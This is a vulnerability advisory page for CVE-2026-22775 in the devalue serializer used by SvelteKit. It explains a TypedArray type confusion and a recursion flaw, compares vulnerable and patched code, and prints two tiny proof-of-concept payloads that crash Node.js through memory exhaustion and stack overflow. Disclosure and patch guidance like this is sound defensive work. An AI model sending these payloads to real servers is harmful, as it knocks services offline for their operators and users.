CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22775

Devalue, Indeed: How a Simple Serializer Can Crash Your Svelte App

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 16, 2026·6 min read·39 visits

Executive Summary (TL;DR)

The `devalue` library, a staple in the Svelte ecosystem for serializing JS data, failed to validate types during hydration. By passing a massive integer length instead of an `ArrayBuffer` reference to a TypedArray constructor, an attacker can trick the server into allocating gigabytes of memory instantly. A separate vector allows for infinite recursion via circular references. Both lead to a process crash (DoS).

A critical Denial of Service (DoS) vulnerability in the `devalue` library allows attackers to trigger massive memory allocations or stack overflows via malformed JSON input, crashing Node.js servers.

The Hook: Serializing the Unserializable

JavaScript Object Notation (JSON) is great, but it’s famously stupid. It doesn't know what a Map is, it chokes on Set, it panics at undefined, and if you show it a circular reference, it curls up into a ball and dies. Enter devalue. It’s the smarter, cooler cousin of JSON.stringify, designed to handle all the weird, messy bits of JavaScript data structures. It is heavily used in the Svelte ecosystem, particularly in SvelteKit, to transport server-side state to the client.

But here's the catch: when you build a tool that promises to reconstruct complex object graphs from simple strings, you are essentially writing an interpreter. And as any battle-scarred security researcher knows, parsers are where the demons live. If you trust the input string to tell you how to build the object in memory, you better be absolutely certain that the blueprint isn't asking you to build a skyscraper on a swamp.

The developers of devalue assumed that the input would mostly be well-formed data generated by their own library. But in the world of web security, assuming your input is "friendly" is like leaving your front door unlocked because you live in a "nice neighborhood." Spoiler alert: the internet is not a nice neighborhood.

The Flaw: JavaScript's Type Confusion Nightmare

The core of the vulnerability lies in how JavaScript handles TypedArray constructors (like Int8Array, Uint32Array, etc.). These constructors are polymorphic—they behave drastically differently depending on what you feed them. If you pass an existing ArrayBuffer, they create a view over that memory (cheap). If you pass a number or an object with a length property, they allocate new memory (expensive).

During the "unflattening" (hydration) phase, devalue reconstructs objects by looking up references in an array. When it encounters a TypedArray, it expects the referenced value to be a base64-decoded ArrayBuffer. The code looked something like this:

// Simplified vulnerable logic
const wrapper = new TypedArrayConstructor(hydrate(value[1]));

The flaw is obvious to a cynical eye: hydrate(value[1]) recursively resolves the argument. If an attacker controls the input, they can make value[1] resolve to anything. Instead of a nice, safe buffer, what if we provide a plain object like { "length": 2000000000 }?

JavaScript sees an object with a length, shrugs, and says, "Okay, you want a new Int8Array with 2 billion zeros? Coming right up!" The Node.js process immediately attempts to allocate 2GB of RAM. If the server doesn't have it (or if the attacker sends a few concurrent requests), the process hits an Out-of-Memory (OOM) condition and crashes hard.

The Code: A Tale of Two Functions

Let's look at the smoking gun. In the vulnerable versions (pre-5.6.2), the unflatten logic was entirely too trusting. It walked the dependency tree without checking if the branches were actually capable of supporting weight.

Here is the essence of the vulnerable hydration step:

// PRE-PATCH: Blindly trusting the index
case 'Int8Array':
case 'Uint8Array':
  // ... other types ...
  // value[1] is just an index pointer. We assume it points to a buffer.
  return new constructors[type](hydrate(value[1]));

And here is the fix implemented in version 5.6.2. The maintainers had to introduce strict type enforcement. They stopped assuming and started verifying. Notice the double-check:

// PATCHED: Trust, but verify
case 'Int8Array':
case 'Uint8Array':
  // ...
  const bufferIndex = value[1];
  // 1. Verify the target is actually labeled as an ArrayBuffer
  if (values[bufferIndex][0] !== 'ArrayBuffer') {
      throw new Error('Invalid data');
  }
  // 2. Hydrate it and proceed
  return new constructors[type](hydrate(bufferIndex));

Additionally, they patched a recursion bug. Previously, you could define a Uint8Array that pointed to itself as its own buffer. The parser would loop infinitely trying to resolve the buffer, blowing the stack. The fix introduced a hydrating Set to track active nodes in the graph, throwing an error if a cycle is detected during resolution.

The Exploit: Crashing Node.js with 40 Bytes

You don't need a complex fuzzing rig to exploit this. You just need to understand the data structure devalue uses. It flattens the object graph into an array. We can craft a JSON payload where index 0 is our malicious Int8Array, and index 1 is the payload that triggers the allocation.

Here is the "Allocation Attack" Proof of Concept:

// The Exploit Payload
const maliciousPayload = `[
  ["Int8Array", 1],
  { "length": 2147483647 }
]`;
 
import { parse } from 'devalue';
// BOOM. Process terminates with fatal error: JavaScript heap out of memory
parse(maliciousPayload);

When devalue parses this:

  1. It sees ["Int8Array", 1] at index 0.
  2. It tries to create new Int8Array(hydrate(1)).
  3. hydrate(1) returns the object at index 1: { length: 2147483647 }.
  4. new Int8Array({ length: ... }) triggers a massive allocation.

We can also trigger a Stack Overflow with even less code using a self-referential cycle:

// The Infinite Recursion Payload
const stackKiller = `[
  ["Uint8Array", 0]
]`;
 
// BOOM. Maximum call stack size exceeded.
parse(stackKiller);

In the recursion case, the Uint8Array at index 0 claims its buffer is at index 0. The parser dives into index 0 to resolve the buffer, sees it's a Uint8Array that needs a buffer from index 0, and down the rabbit hole we go.

The Impact: Availability is Security

Why does this matter? "It's just a crash," you might say. But in modern architecture, especially server-side rendering (SSR) contexts like SvelteKit, availability is king. If an unauthenticated attacker can crash your Node.js process with a single HTTP request containing a tiny JSON body, they can take your entire platform offline effortlessly.

Imagine a scenario where an application accepts user state via a cookie or a POST body that gets deserialized on the server. An attacker scripts a loop to send one of these packets every time the server restarts. Effectively, they create a permanent denial of service condition. No complex authentication bypass is needed; just a raw, brute-force resource exhaustion.

This vulnerability scores a CVSS 7.5 (High) because it requires zero privileges and no user interaction. It is a direct shot at the server's jugular.

The Mitigation: Patch and Sanitize

The fix is straightforward: Update devalue to version 5.6.2 or higher. If you are using SvelteKit, check your lockfiles and ensure the transitive dependency is updated. The patch adds the necessary guardrails to ensure that TypedArray inputs are actually backed by ArrayBuffers and that circular references don't turn into infinite loops.

Beyond this specific patch, this is a lesson in input validation. Never trust a serialization format to validate logic. If you are accepting complex serialized objects from the client, consider implementing size limits on the request body. While that won't stop the logic flaw (the exploit payload is tiny), it's good hygiene.

Additionally, consider using ulimit or container resource limits to ensure that if a process does try to eat all the RAM, it gets killed quickly and restarted without taking down the entire host machine.

Official Patches

SvelteRelease notes for version 5.6.2 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

SvelteKit Applications (Server-Side Rendering)Node.js applications using `devalue` for serializationCustom state hydration logic relying on `devalue`

Affected Versions Detail

Product
Affected Versions
Fixed Version
devalue
Svelte
>= 5.1.0, < 5.6.25.6.2
AttributeDetail
CWE IDCWE-405 (Asymmetric Resource Consumption)
Attack VectorNetwork (Remote)
CVSS7.5 (High)
ImpactDenial of Service (DoS)
Exploit StatusPoC Available
Affected Componentdevalue.parse()

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.004Application or System Exploitation
Impact
CWE-405
Asymmetric Resource Consumption (Amplification)

Asymmetric Resource Consumption (Amplification)

Known Exploits & Detection

Internal ResearchJavaScript heap out of memory exploit via TypedArray length manipulation

Vulnerability Timeline

Vulnerability discovered by researchers
2026-01-10
Fix committed to main branch
2026-01-15
Version 5.6.2 released to npm
2026-01-15
Public advisory (GHSA) published
2026-01-15

References & Sources

  • [1]GitHub Security Advisory
  • [2]MDN: TypedArray Constructor Behavior

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 24 hours ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
7 views•7 min read
•1 day ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
7 views•5 min read
•1 day ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
6 views•6 min read
•1 day ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
9 views•7 min read
•1 day ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read